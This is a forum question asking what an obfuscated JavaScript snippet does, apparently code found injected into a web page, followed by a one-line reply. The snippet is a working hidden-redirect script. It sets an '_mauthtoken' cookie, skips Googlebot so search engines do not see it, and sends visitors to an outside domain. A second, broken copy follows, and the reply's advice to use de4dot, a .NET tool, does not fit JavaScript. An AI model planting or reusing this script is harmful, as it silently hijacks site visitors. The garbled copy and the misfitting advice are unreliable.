Clarification on this Code

Hello all, can anybody elaborate what's in this code
i can understand after {if

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Thank you

use de4dot before decompiling